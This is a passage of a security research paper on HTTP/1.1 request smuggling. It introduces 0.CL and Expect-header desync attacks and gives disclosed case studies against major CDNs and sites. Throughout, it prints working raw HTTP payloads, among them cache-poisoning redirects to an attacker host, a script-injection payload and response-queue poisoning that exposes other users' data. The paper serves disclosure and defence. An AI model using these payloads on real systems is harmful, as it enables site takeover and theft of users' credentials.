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Abstract
Upstream HTTP/1.1 is inherently insecure and regularly exposes millions of websites to hostile
takeover. Six years of attempted mitigations have hidden the issue, but failed to fix it.

This paper introduces several novel classes of HTTP desync attack capable of mass compromise
of user credentials. These techniques are demonstrated through detailed case studies, including
critical vulnerabilities which exposed tens of millions of websites by subverting core infrastructure
within Akamai, Cloudflare, and Netlify.

I also introduce an open-source toolkit that enables systematic detection of parser discrepancies
and target-specific weak spots. Combined, this toolkit and these techniques yielded over $200,000
in bug bounties in a two-week period.

Ultimately, I argue that HTTP request smuggling must be recognized as a fundamental protocol
flaw. The past six years have demonstrated that addressing individual implementation issues will
never eliminate this threat. Although my findings have been reported and patched, websites remain
silently vulnerable to inevitable future variants. These all stem from a fatal flaw in HTTP/1.1 which
means that minor implementation bugs frequently trigger severe security consequences. HTTP/2+
solves this threat. If we want a secure web, HTTP/1.1 must die.

https://portswigger.net/research/james-kettle
mailto:james.kettle@portswigger.net
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The desync endgame

The fatal flaw in HTTP/1.1
HTTP/1.1 has a fatal, highly-exploitable flaw - the boundaries between individual HTTP requests
are very weak. Requests are simply concatenated on the underlying TCP/TLS socket with no
delimiters, and there are multiple ways to specify their length. This means attackers can create
extreme ambiguity about where one request ends and the next request starts. Major websites often
use reverse proxies, which funnel requests from different users down a shared connection pool to
the back-end server. This means that an attacker who finds the tiniest parser discrepancy in the
server chain can cause a desync, apply a malicious prefix to other users' requests, and usually
achieve complete site takeover:

As HTTP/1.1 is an ancient, lenient, text-based protocol with thousands of implementations, finding
parser discrepancies is not hard. When I first discovered this threat in 2019, it felt like you could
hack anything. For example, I showed it could be exploited to compromise PayPal's login page1,
twice. Since then, we have also published a free online course on request smuggling2 and multiple
further research papers3. If you get lost in any technical details later on, it may be useful to refer
back to these.

Six years later, it's easy to think we've solved the problem, with a combination of parser tightening
and HTTP/2 - a binary protocol that pretty much eliminates the entire attack class if it's used for the
upstream connections from the front-end onwards. Unfortunately, it turns out all we've managed to
do is make the problem look solved.

Mitigations that hide but don't fix
In 2025, HTTP/1.1 is everywhere - but not necessarily in plain sight. Servers and CDNs often claim
to support HTTP/2, but actually downgrade incoming HTTP/2 requests to HTTP/1.1 for
transmission to the back-end system, thereby losing most of the security benefits. Downgrading
incoming HTTP/2 messages is even more dangerous than using HTTP/1.1 end to end, as it
introduces a fourth way to specify the length of a message. In this paper, we'll use the following
acronyms for the four major length interpretations:

CL (Content-Length)
TE (Transfer-Encoding)
0 (Implicit-zero)
H2 (HTTP/2's built-in length)

https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn#paypal
https://portswigger.net/web-security/request-smuggling
https://portswigger.net/research/request-smuggling


HTTP/1.1 may look secure at first glance because if you apply the original request smuggling
methodology and toolkit, you'll have a hard time causing a desync. But why is that? Let's take a
look at a classic CL.TE attack using a lightly obfuscated Transfer-Encoding header. In this attack,
we are hoping that the front-end server parses the request using the Content-Length header, then
forwards the request to a back-end which, calculates the length using the Transfer-Encoding
header.

POST / HTTP/1.1
Host: <redacted>
Transfer-Encoding : chunked
Content-length: 35

0

GET /robots.txt HTTP/1.1
X: y

HTTP/1.1 200 OK

Here's the simulated victim:

GET / HTTP/1.1
Host: example.com

HTTP/1.1 200 OK

Disallow: /

This used to work on a vast number of websites. These days, the probe will probably fail even if
your target is actually vulnerable, for one of three reasons:

WAFs now use regexes to detect and block requests with an obfuscated Transfer-Encoding
header, or potential HTTP requests in the body.
The /robots.txt detection gadget doesn't work on your particular target.
There's a server-side race condition which makes this technique highly unreliable on certain
targets.

The alternative, timeout-based detection strategy discussed in my previous research is also heavily
fingerprinted and blocked by WAFs.

This has created the desync endgame - you've got the illusion of security thanks to toy mitigations
and selective hardening that only serves to break the established detection methodology.
Everything looks secure until you make the tiniest change.

In truth, HTTP/1.1 implementations are so densely packed with critical vulnerabilities, you can
literally find them by mistake.



Hacking 20 million websites by accident
HTTP/1.1 is simply not fit for a world where we solve every problem by adding another layer. The
following case-study illustrates this beautifully.

Wannes Verwimp4 asked for my thoughts on an issue he'd discovered affecting a site hosted on
Heroku, behind Cloudflare. He'd found an H2.0 desync and was able to exploit it to redirect visitors
to his own website.

GET /assets/icon.png HTTP/2
Host: <redacted>

GET /assets HTTP/1.1
Host: psres.net
X: y

HTTP/2 200 OK
Cf-Cache-Status: HIT

GET / HTTP/2
Host: <redacted>

HTTP/2 302 Found
Location: https://psres.net/assets/

This redirect was getting saved in Cloudflare's cache, so by poisoning the cache entry for a
JavaScript file, he was able to take persistent control of the entire website. This was all
unremarkable except for one thing - the users being hijacked weren't trying to access the target
website. The attack was actually compromising random third party sites, including certain banks!

I agreed to investigate and noticed something else strange - the attack was blocked by Cloudflare's
front-end cache, meaning the request would never reach the back-end server. I reasoned that there
was no way this attack could possibly work and Wannes must have made a mistake, so I added a
cache-buster... and the attack failed. When I removed the cache-buster, it started working.

By ignoring the fact his attack was being blocked by a cache, Wannes had discovered a HTTP/1.1
desync internal to Cloudflare's infrastructure:

This finding exposed over 24,000,000 websites to complete site takeover! It embodies the desync
endgame - the classic methodology doesn't work, but the systems built on HTTP/1 are so complex
and critical that you can make one mistake and end up with control over 24 million websites.

We reported this issue, and Cloudflare patched it within hours, published a post-mortem5 and
awarded a $7,000 bounty.

https://www.linkedin.com/in/wannes-verwimp/
https://blog.cloudflare.com/resolving-a-request-smuggling-vulnerability-in-pingora/


Readers unfamiliar with bug bounty hunting may find themselves consistently surprised by the
bounties paid relative to the impact throughout this whitepaper, but most bounties received were
close to the maximum payout advertised by the respective program. Bounty size is an artefact of
the underlying economics and any genuinely surprising bounty experiences will be highlighted.

"HTTP/1 is simple" and other lies
How does a bug like that happen? Partly, it's the sheer complexity of the systems involved. For
example, we can infer that requests sent to Cloudflare over HTTP/2 are sometimes rewritten to
HTTP/1.1 for internal use, then rewritten again to HTTP/2 for the upstream connection! However,
the underlying problem is the foundation.

There's a widespread, dangerous misconception that HTTP/1.1 is a robust foundation suitable for
any system you might build. In particular, people who haven't implemented a reverse-proxy often
argue that HTTP/1.1 is simple, and therefore secure. The moment you attempt to proxy HTTP/1.1,
it becomes a lot less simple. To illustrate this, here are five lies that I personally used to believe -
each of which will be critical to a real-world exploit discussed later in this paper

Lie 1: An HTTP/1.1 request can't directly target an intermediary
Lie 2: An HTTP/1.1 desync can only be caused by a parser discrepancy
Lie 3: An HTTP/1.1 response contains everything a proxy needs to parse it
Lie 4: An HTTP/1.1 response can only contain one header block
Lie 5: A complete HTTP/1.1 response requires a complete request

Which ones did you believe? Can you map each statement to the feature that undermines it?

Taken together, the reality behind the last three lies is that your proxy needs a reference to the
request object just to read the correct number of response bytes off the TCP socket from the back-
end, and you need control-flow branches to handle multiple header blocks even before you even
reach the response body, and the entire response may arrive before the client has even finished
sending you the request.

This is HTTP/1.1 - it's the foundation of the web, full of complexities and gotchas that routinely
expose millions of websites, and we've spent six years failing to patch implementations to
compensate for it. It needs to die. To achieve that, we need to collectively show the world that
HTTP/1.1 is insecure - in particular, that more desync attacks are always coming.

In the rest of this paper, I hope to show you how to do that.

All case-studies were identified through authorized testing on targets with vulnerability disclosure
programs (VDPs), and have been privately reported and patched (unless mentioned otherwise). As
a side effect of VDP terms and conditions, many of them are partially redacted, even though the
issues are actually patched. Where a company is explicitly named, this is an indication that they
have a more mature security program.

All bounties earned during this research were split equally between everyone involved, and my cut
was doubled by PortSwigger then donated to a local charity6.

https://www.42ndstreet.org.uk/


A strategy to win the desync endgame

Detecting parser discrepancies
In the desync endgame, detecting vulnerabilities is difficult due to mitigations, complexity, and
quirks. To thrive in this environment, we need a detection strategy that reliably identifies the
underlying flaws that make desync attacks possible, rather than attempting brittle attacks with
many moving parts. This will set us up to recognize and overcome exploitation challenges.

Back in 2021, Daniel Thacher presented Practical HTTP Header Smuggling7 at Black Hat Europe,
and described an approach for detecting parser discrepancies using the Content-Length header. I
liked the concept so much that after I tried his tool out, I decided to try building my own
implementation from scratch, do things slightly differently, and see what happened.

This tool proved highly effective, and I'm pleased to release it in the open-source Burp Suite
extension HTTP Request Smuggler v3.08. Here's a high-level overview of the three key elements
used for analysis, and the possible outcomes:

Understanding V-H and H-V discrepancies
Let's take a look at real detection, and how to interpret it:

GET / HTTP.1.1

Host: <redacted-food-corp> HTTP/1.1 200 OK

Xost: <redacted-food-corp> HTTP/1.1 503 Service Unavailable

 Host: <redacted-food-corp> HTTP/1.1 400 Bad Request

 Xost: <redacted-food-corp> HTTP/1.1 503 Service Unavailable

Here, HTTP Request Smuggler has detected that sending a request with a partially-hidden Host
header causes a unique response that can't be triggered by sending a normal Host header, or by
omitting the header entirely, or by sending an arbitrary masked header. This is strong evidence that
there's a parser discrepancy in the server chain used by the target. If we assume there's a front-
end and a back-end, there's two key possibilities:

Visible-Hidden (V-H): The masked Host header is visible to the front-end, but hidden from the back-
end

Hidden-Visible (H-V): The masked Host header is hidden from the front-end, but visible to the back-
end

You can often distinguish between V-H and H-V discrepancies by paying close attention to the
responses, and guessing whether they originated from a front-end or back-end. Note that the
specific status codes are not relevant, and can sometimes be confusing. All that matters is that
they're different. This finding turned out to be a V-H discrepancy.

https://www.youtube.com/watch?v=RAtpG6OYYNM
https://github.com/PortSwigger/http-request-smuggler/


Turning a V-H discrepancy into a CL.0 desync
Given a V-H discrepancy, you could attempt a TE.CL exploit by hiding the Transfer-Encoding
header from the back-end, or try a CL.0 exploit by hiding the Content-Length header. I highly
recommend using CL.0 wherever possible as it's much less likely to get blocked by a WAF. On
many V-H targets, including the one above, exploitation was simple:

GET /style.css HTTP/1.1
Host: <redacted-food-corp>
Foo: bar
 Content-Length: 23

GET /404 HTTP/1.1
X: y

HTTP/1.1 200 OK

GET / HTTP/1.1
Host: <redacted-food-corp>

HTTP/1.1 404 Not Found

On a different target, the above exploit failed because the front-end server was rejecting GET
requests that contained a body. I was able to work around this simply by switching the method to
OPTIONS. It's the ability to spot and work around barriers like this that makes scanning for parser-
discrepancies so useful.

I didn't invest any time in crafting a fully weaponized PoC on this target, as it's not economical for
low-paid bounty programs and VDPs.

Detection strategies
By combining different headers, permutations, and strategies, the tool achieves superior coverage.
For example, here's a discovery made using the same header (Host), and the same permutation
(leading space before header name), but a different strategy (duplicate Host with invalid value):

POST /js/jquery.min.js
Host: <vpn.redacted>

Host: x/x HTTP/1.1 400 Bad Request

Xost: x/x HTTP/1.1 412 Precondition Failed

 Host: x/x HTTP/1.1 200 OK

 Xost: x/x HTTP/1.1 412 Precondition Failed

This target was once again straightforward to exploit using a CL.0 desync. In my experience, web
VPNs often have flawed HTTP implementations and I would strongly advise against placing one
behind any kind of reverse proxy.



Detecting high-risk parsing
The discrepancy-detection approach can also identify servers that deviate from accepted parsing
conventions and are, therefore, likely to be vulnerable if placed behind a reverse proxy. For
example, scanning a <redacted> server revealed that they don't treat \n\n as terminating the
header block:

POST / HTTP/1.1\r\n
Content-Length: 22\r\n
A: B\r\n
\n
Expect: 100-continue\r\n

HTTP/1.1 100 Continue

HTTP/1.1 302 Found
Server: <redacted>

This is harmless for direct access, but RFC-91129 states "a recipient MAY recognize a single LF as
a line terminator". Behind such a front-end, this would be exploitable. This vulnerability was traced
back to the underlying HTTP library, and a patch is on the way. Reporting theoretical findings like
these is unlikely to net you sizeable bug bounty payouts, but could potentially do quite a lot to make
the ecosystem more secure.

Exploiting H-V on IIS behind ALB
HTTP Request Smuggler also identified a large number of vulnerable systems using Microsoft IIS
behind AWS Application Load Balancer (ALB). This is useful to understand because AWS isn't
planning to patch it. The detection typically shows up like:

Host: foo/bar 400, Server; awselb/2.0

Xost: foo/bar 200, -no server header-

Host : foo/bar 400, Server: Microsoft-HTTPAPI/2.0

Xost : foo/bar 200, -no server header-

As you can infer from the server banners, this is a H-V discrepancy: when the malformed Host
header is obfuscated, ALB doesn't see it and passes the request through to the back-end server.

The classic way to exploit a H-V discrepancy is with a CL.TE desync, as the Transfer-Encoding
header usually takes precedence over the Content-Length, but this gets blocked by AWS' Desync
Guardian10. I decided to shelve the issue to focus on other findings, then Thomas Stacey
independently discovered it11, and bypassed Desync Guardian using an H2.TE desync.

Even with the H2.TE bypass fixed, attackers can still exploit this to smuggle headers, enabling IP-
spoofing and sometimes complete authentication bypass12.

I reported this issue to AWS, and it emerged that they were already aware but chose not to patch it
because they don't want to break compatibility with ancient HTTP/1 clients sending malformed
requests. You can patch it yourself by changing two settings:

Set routing.http.drop_invalid_header_fields.enabled

Set routing.http.desync_mitigation_mode = strictest

This unfixed finding exposes an overlooked danger of cloud proxies: adopting them imports
another company's technical debt directly into your own security posture.

Exploiting H-V without Transfer-Encoding
The next major breakthrough in this research came when I discovered a H-V discrepancy on a
certain website which blocks all requests containing Transfer-Encoding, making CL.TE attacks
impossible. There was only one way forward with this: a 0.CL desync attack.

https://datatracker.ietf.org/doc/html/rfc9112#section-2.2
https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#desync-mitigation-mode
https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#desync-mitigation-mode
https://assured.se/posts/the-single-packet-shovel-desync-powered-request-tunnelling
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn#explore


0.CL desync attacks

The 0.CL deadlock
0.CL desync attacks are widely regarded as unexploitable. To understand why, consider what
happens when you send the following attack to a target with a H-V parser discrepancy:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
 7

GET /404 HTTP/1.1
X: Y

The front-end doesn't see the Content-Length header, so it will regard the orange payload as the
start of a second request. This means it buffers the orange payload, and only forwards the header-
block to the back-end:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
 7

HTTP/1.1 504 Gateway Timeout

The back end does see the Content-Length header, so it will wait for the body to arrive. Meanwhile,
the front-end will wait for the back-end to reply. Eventually, one of the servers will time out and
reset the connection, breaking the attack. In essence, 0.CL desync attacks usually result in an
upstream connection deadlock.

Breaking the 0.CL deadlock
Prior to this research, I spent two years exploring race conditions and timing attacks. In the
process, I stumbled on a solution for the 0.CL deadlock.

Whenever I tried to use the single-packet attack13 on a static file on a target running nginx, nginx
would break my timing measurement by responding to the request before it was complete. This
required a convoluted workaround at the time, but hinted at a way to make 0.CL exploitable.

The key to escaping the 0.CL deadlock is to find an early-response gadget: a way to make the
back-end server respond to a request without waiting for the body to arrive. This is straightforward
on nginx, but my target was running IIS, and the static file trick didn't work there. So, how can we
persuade IIS to respond to a request without waiting for the body to arrive? Let's take a look at my
favourite piece of Windows documentation14:

Do not use the following reserved names for the name of a file:

CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7...

If you try to access a file or folder using a reserved name, the operating system will throw an
exception for amusing legacy reasons. We can make a server hit this quirk simply by requesting
'con' inside any folder that's mapped to the filesystem.

https://portswigger.net/research/the-single-packet-attack-making-remote-race-conditions-local
https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file
https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file


I found that if I hit /con on the target website, IIS would respond without waiting for the body to
arrive, and helpfully leave the connection open. When combined with the CL.0 desync, this would
result in it interpreting the start of the second request as the body of the first request, triggering a
400 Bad Request response. Here's the view from the user's perspective:

GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 7

HTTP/1.1 200 OK

GET / HTTP/1.1
Host: <redacted>

HTTP/1.1 400 Bad Request

And the view on the back-end connection:

GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 7

GET / HTTP/1.1
Host: <redacted>

I've known about the /con quirk for over ten years but this was the first time I've been able to
actually make use of it! Also, over the last six years, I've seen so many suspicious 'Bad request'
responses, I actually made HTTP Request Smuggler report them with the cryptic title Mystery
40015. This was the moment when I realised they were probably all exploitable.

On other servers, I found server-level redirects operated as early-response gadgets. However, I
never found a viable gadget for Apache; they're too studious about closing the connection when
they hit an error condition.

Moving beyond 400 Bad Request
To prove you've found a 0.CL desync, the next step is to trigger a controllable response. After the
attack request, send a 'victim' request containing a second path nested inside the header block:

GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 20

HTTP/1.1 200 OK

GET / HTTP/1.1
X: yGET /wrtz HTTP/1.1
Host: <redacted>

HTTP/1.1 302 Found
Location: /Logon?ReturnUrl=%2fwrtz

If you set the Content-Length of the first request correctly, it will slice the initial bytes off the victim
request, and you'll see a response indicating that the hidden request line got processed.

This is sufficient to prove there's a 0.CL desync, but it's obviously not a realistic attack - we can't
assume our victim will include a payload inside their own request! We need a way to add our
payload to the victim's request. We need to convert our 0.CL into a CL.0.

https://github.com/PortSwigger/http-request-smuggler/blob/a05163d42989c07ff24bcd9e81e6e2d3c70ec966/src/burp/ImplicitZeroScan.java#L137
https://github.com/PortSwigger/http-request-smuggler/blob/a05163d42989c07ff24bcd9e81e6e2d3c70ec966/src/burp/ImplicitZeroScan.java#L137


Converting 0.CL into CL.0 with a double-desync
To convert 0.CL into CL.0, we need a double-desync! This is a multi-stage attack where the
attacker uses a sequence of two requests to set the trap for the victim:

The first request poisons the connection with a 0.CL desync
The poisoned connection weaponises the second request into a CL.0 desync, which then
repoisons the connection with a malicious prefix
The malicious prefix then poisons the victim's request, causing a harmful response

The cleanest way to achieve this would be to have the 0.CL cut the entire header block off the first
request:

POST /nul HTTP/1.1
Content-length:
 163

POST / HTTP/1.1
Content-Length: 111

GET / HTTP/1.1
Host: <redacted>

GET /wrtz HTTP/1.1
Foo: bar

Unfortunately, this is not as easy as it looks. You need to know the exact size of the second request
header block, and virtually all front-end servers append extra headers. On the back-end, the
request sequence above ends up looking like:

POST /nul HTTP/1.1
Content-length:
 163

GET / HTTP/1.1
Content-Length: 111
??????: ???????????

--connection terminated--

You can discover the length of the injected headers using the new 0cl-find-offset16 script for Turbo
Intruder, but these often contain things like the client IP, which means the attack works for you but
breaks when someone else tries to replicate it. This makes bug bounty triage painful.

https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples/0cl-find-offset.py


After a lot of pain, I discovered a better way. Most servers insert headers at the end of the header
block, not at the start. So, if our smuggled request starts before that, the attack will work reliably!
Here's an example that uses an input reflection to reveal the inserted header:

POST /nul HTTP/1.1
Content-length:
 92

HTTP/1.1 200 OK

GET /z HTTP/1.1
Content-Length: 180
Foo: GET /y HTTP/1.1
???: ???? // front-end header lands here

POST /index.asp HTTP/1.1
Content-Length: 201

<redacted>=zwrt

HTTP/1.1 200 OK

GET / HTTP/1.1
Host: <redacted>

Invalid input
  zwrtGET / HTTP/1.1
  Host:<redacted>
  Connection:keep-alive
  Accept-Encoding:identity

From this point, we can use traditional CL.0 exploit techniques. On this target, I used the HEAD
technique to serve malicious JavaScript to random users:

POST /nul HTTP/1.1
Host: <redacted>
Content-length:
 44

HTTP/1.1 200 OK

GET /aa HTTP/1.1
Content-Length: 150
Foo: GET /bb HTTP/1.1
Host: <redacted>

HEAD /index.asp HTTP/1.1
Host: <redacted>

GET /?<script>alert(1 HTTP/1.1
X: Y

HTTP/1.1 200 OK
Location: /Logon?returnUrl=/bb

GET / HTTP/1.1
Host: <redacted>

HTTP/1.1 200 OK
Content-Length: 56670
Content-Type: text/html

HTTP/1.1 302 Found
Location: /Logon?returnUrl=/<script>…

You can experiment with this technique yourself for free using our new Web Security Academy lab
0.CL Request Smuggling17.

Using these techniques, we initially identified around ten simple 0.CL vulnerabilities in websites
with bug bounty programs. Many of these findings were on websites using a certain cloud WAF -
this is not the first time we've seen a WAF making a website easier to hack. We were distracted by
other discoveries at this point and didn't bother to weaponize any of the attacks beyond a DoS, so
this only took the total bounties earned to $21,645. The best bounty experience was with
EXNESS18 who awarded $7,500. As usual, the most valuable outcome wasn't the bounties
themselves - it was the foundation this work provided for our subsequent findings.

https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-0cl-request-smuggling
https://hackerone.com/exness?type=team


More desync attacks are coming
At this point, I thought the desync threat was finally fully mapped and future issues would be niche,
one-off implementation flaws. This is a mistake I make every year. Here's a partial history of major
advances in request smuggling:

2004: HTTP Request Smuggling19 – (largely forgotten)
2016: Hiding wookies in HTTP20 (largely ignored at the time)
2019: Exploit header parser discrepancies21 (CL.TE, TE.CL)
2021: Exploit HTTP/2 downgrading22 (H2.CL, H2.TE)
2022: Exploit endpoints that ignore CL23 (CL.0, H2.0, CSD)
2024: Exploit dechunking24 (TE.0)
2025: Exploit chunk extensions (TE.TE)25

Just now: 0.CL desync attacks

It took the next discovery for me to finally realise the truth - more desync attacks are always
coming.

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
https://portswigger.net/research/http2
https://portswigger.net/research/browser-powered-desync-attacks
https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
https://w4ke.info/2025/06/18/funky-chunks.html


Expect-based desync attacks

The Expect complexity bomb
Back in 2022, I tried out using the Expect header for desync attacks26 but didn't find anything. As it
turns out, I didn't look hard enough.

This time around, I first started using the Expect header while looking for a way to detect 0.CL
desync vulnerabilities without an early-response gadget.

The Expect header is an ancient optimisation that splits sending a single HTTP request into a two-
part process. The client sends the header block containing Expect: 100-continue, and the server
evaluates whether the request would be accepted. If the server responds with HTTP/1.1 100
Continue, the client is then permitted to send the request body.

This is complex for both clients and servers, and significantly worse for reverse proxies. Consider
what happens if the front-end doesn't support Expect, or see the header, or parse the value as 100-
continue. What about the back-end? What if the back-end responds early, or the client doesn't wait
for 100-continue?

https://github.com/PortSwigger/http-request-smuggler/blame/a07da1292dcaaaefbebbc79b764e576962fedf3c/src/burp/DesyncBox.java#L422


The first explicit clue that the Expect header is something special was that it broke the HTTP client
in my Turbo Intruder tool, at a critical point where any bug could lead to a desync. Fixing the client
massively increased the code complexity. Here's the code to read the response off the wire before:

And after:



Expect breaks servers too. On one site, Expect made the server forget that HEAD responses don't
have a body and try to read too much data from the back-end socket, causing an upstream
deadlock:

HEAD /<redacted> HTTP/1.1
Host: api.<redacted>
Content-Length: 6
Expect: 100-continue

ABCDEF

HTTP/1.1 100 Continue

HTTP/1.1 504 Gateway Timeout

That was interesting but relatively harmless - it only posed a DoS risk. Other misbehaviours are
less harmless, such as the multiple servers that respond to Expect by disclosing memory. This
yielded mysterious fragments of text:

POST / HTTP/1.1
Host: <redacted>
Expect: 100-continue
Content-Length: 1

X

HTTP/1.1 404 Not Found
HTTP/1.1 100 Continue

d

Ask the hotel which eHTTP/1.1 404 Not Found
HTTP/1.1 100 Continue

d

And secret keys:

POST / HTTP/1.1
Host: <redacted>
Expect: 100-continue
Content-Length: 1

X

HTTP/1.1 401 Unauthorized
Www-Authenticate: Bearer
HTTP/1.1 100 ContinTransfer-EncodingzxWthTQmiI8fJ4oj9fzE"
X-: chunked

HTTP/1.1 401 Unauthorized
Www-Authenticate: Bearer
HTTP/1.1 100 ContinTransfer-EncodingzxWthTQm145



Bypassing response header removal
All HTTP/1.1 responses have one header block - unless you send Expect. As a result, the second
header block often takes parsers by surprise and breaks attempts from front-end servers to remove
sensitive response headers. Here's an example:

POST /_next/static/foo.js HTTP/1.1
Host: app.netlify.com

HTTP/1.1 200 OK
Server: Netlify
X-Nf-Request-Id: <redacted>

POST /_next/static/foo.js HTTP/1.1
Host: app.netlify.com
Expect: 100-continue

HTTP/1.1 100 Continue
Server: Netlify
X-Nf-Request-Id: <redacted>

HTTP/1.1 200 OK
X-Bb-Account-Id: <redacted>
X-Bb-Cache-Gen: <redacted>
X-Bb-Deploy-Id: <redacted>
X-Bb-Site-Domain-Id: <redacted>
X-Bb-Site-Id: <redacted>
X-Cnm-Signal-K: <redacted>
X-Nf-Cache-Key: <redacted>
X-Nf-Ats-Version: <redacted>
X-Nf-Cache-Info: <redacted>
X-Nf-Cache-Result: <redacted>
X-Nf-Proxy-Header-Rewrite:<redacted>
X-Nf-Proxy-Version: <redacted>
X-Nf-Srv-Version: <redacted>

I reported this example to Netlify and they said "this information is provided by design".

This technique also reveals hundreds of server/version banners that people have attempted to
mask in an attempt to mitigate targeted exploits. Luckily, exposed server banners are more of a
threat to compliance than anything critical.

An unplanned collaboration
Around this time, I received a message from a small team of full-time bounty hunters - Paolo
'sw33tLie' Arnolfo27, Guillermo 'bsysop' Gregorio28, and Mariani 'Medusa' Francesco29. They had
also noticed the Expect header making interesting things happen. They had a solid research
pedigree - their exploration of TE.0 Request Smuggling30 landed third in the Top Ten Web Hacking
Techniques of 202431. As such, we decided to team up.

We ended up exploiting many, many targets. Our findings fell into four broad categories:

https://x.com/sw33tLie
https://x.com/sw33tLie
https://x.com/bsysop
https://www.linkedin.com/in/francesco-mariani-85841b1b3
https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
https://portswigger.net/research/top-10-web-hacking-techniques-of-2024
https://portswigger.net/research/top-10-web-hacking-techniques-of-2024


0.CL desync via vanilla Expect - T-Mobile
Simply sending a valid Expect header causes a 0.CL desync on numerous different servers. I
believe this is caused by a broken Expect implementation in the front-end server, which makes it
correctly forward the headers, but get confused by the back-end's non-100 reply and forget it still
needs to receive a body from the client.

Here's a proof of concept we built targeting a T-Mobile staging domain:

GET /logout HTTP/1.1
Host: <redacted>.t-mobile.com
Expect: 100-continue
Content-Length: 291

HTTP/1.1 404 Not Found

GET /logout HTTP/1.1
Host: <redacted>.t-mobile.com
Content-Length: 100

GET / HTTP/1.1
Host: <redacted>.t-mobile.com

GET https://psres.net/assets HTTP/1.1
X: y

HTTP/1.1 200 OK

GET / HTTP/1.1
Host: <redacted>.t-mobile.com

HTTP/1.1 301 Moved Permanently
Location: https://psres.net/…

T-Mobile32 awarded us $12,000 for this finding - a highly competitive payout for a non-production
domain.

https://bugcrowd.com/engagements/t-mobile


0.CL desync via obfuscated Expect - Gitlab
Sending a lightly obfuscated Expect header exposes a substantial number of new targets. For
example, "Expect: y 100-continue" causes a 0.CL desync on h1.sec.gitlab.net. This was an
interesting target as it holds the attachments to reports sent to Gitlab's bug bounty program -
potentially critical zerodays.

The site had a tiny attack surface so we weren't able to find a classic redirect or XSS desync
gadget for exploitation. Instead, we opted to shoot for Response Queue Poisoning (RQP) - a high-
impact attack which results in the server sending everyone random responses intended for other
users. RQP is tricky on low-traffic targets due to an inherent race condition, but we persisted and
27,000 requests later we got access to someone else's vulnerability report video and a $7,000
bounty:

GET / HTTP/1.1
Content-Length: 686
Expect: y 100-continue

HTTP/1.1 200 OK

GET / HTTP/1.1
Content-Length: 292

GET / HTTP/1.1
Host: h1.sec.gitlab.net

GET / HTTP/1.1
Host: h1.sec.gitlab.net

HTTP/1.1 200 OK

GET /??? HTTP/1.1
Authorization: ???
User-Agent: Unknown Gitlab employee

HTTP/1.1 200 OK

GET / HTTP/1.1
Host: h1.sec.gitlab.net

HTTP/1.1 302 Found
Location: https://storage<redacted>

After this, some high-end payouts took us to around $95,000 earned from 0.CL Expect-based
desync attacks.



CL.0 desync via vanilla Expect - Netlify CDN
Proving that it can break servers in every possible way, Expect can also cause CL.0 desync
vulnerabilities.

For example, we found a CL.0 RQP vulnerability in Netlify that, when triggered, send us a
continuous stream of responses from every website on the Netlify CDN:

POST /images/ HTTP/1.1
Host: <redacted-netlify-client>
Expect: 100-continue
Content-Length: 64

GET /letter-picker HTTP/1.1
Host: <redacted-netlify-client>

HTTP/1.1 404 Not Found

POST /authenticate HTTP/1.1
Host: ???
User-Agent: Unknown Netlify user

HTTP/1.1 200 OK
…
<title>Letter Picker Wheel

GET / HTTP/1.1
Host: <redacted-netlify-client>

HTTP/1.1 200 OK
…
"{\"token\":\"eyJhbGciOiJ…

We found this while testing a particular Netlify-hosted website, but it didn't make sense to report it
to them as the responses we hijacked were all coming from third-party websites.

The attack stopped working shortly after we found it, but we reported it to Netlify anyway and
received the reply "Websites utilizing Netlify are out of scope", and no bounty. Normally, when I
encounter a surprising bounty outcome, I don’t mention it as it tends to distract readers from the
technical content. I’ve made an exception here because it provides useful context for what
happened next.



CL.0 desync via obfuscated Expect - Akamai CDN
Unsurprisingly, obfuscating the Expect header revealed even more CL.0 desync vulnerabilities.
Here's an example we found that let us serve arbitrary content to users accessing
auth.lastpass.com, netting their maximum bounty - $5,000:

OPTIONS /anything HTTP/1.1
Host: auth.lastpass.com
Expect:
 100-continue
Content-Length: 39

GET / HTTP/1.1
Host: www.sky.com
X: X

HTTP/1.1 404 Not Found

GET /anything HTTP/1.1
Host: auth.lastpass.com

HTTP/1.1 200 OK

Discover TV & Broadband Packages with Sky

We quickly realised this affected a large number of targets using the Akamai CDN. In fact, I believe
we could have used it to take control of possibly the most prestigious domain on the internet -
example.com! Unfortunately, example.com doesn't have a VDP, so validating this would have been
illegal. Unless Akamai informs us, we'll probably never know for certain.

Still, this raised a question. Should we report the issue directly to affected companies, or to
Akamai? As a researcher, maintaining a good relationship with both CDNs and their customers is
really important, and any bounties I earn go to charity so I don't have a personal stake. However, I
could see that the bounty hunters would have discovered the issue independently without my help,
and didn't want to sabotage their income. Ultimately, I decided to step back - I didn't get involved in
exploring or reporting the issue, and didn't take a cut of the bounties. Part of me regrets this a little
because it ultimately resulted in 74 separate bounties, totalling $221,000.

The reports were well received, but things didn't go entirely smoothly. It transpired that the
vulnerability was actually fully inside Akamai's infrastructure, so Akamai was inundated with support
tickets from their clients. I became concerned that the technique might leak while Akamai was still
vulnerable, and reached out to Akamai to help them fix it faster. The issue was assigned CVE-
2025-32094, and I was awarded a $9,000 bounty. They were able to release a hotfix for some
customers quickly, but it still took 65 days from that point to fully resolve the vulnerability.

Overall, it was quite stressful, but at least I got some USD-backed evidence of the danger posed by
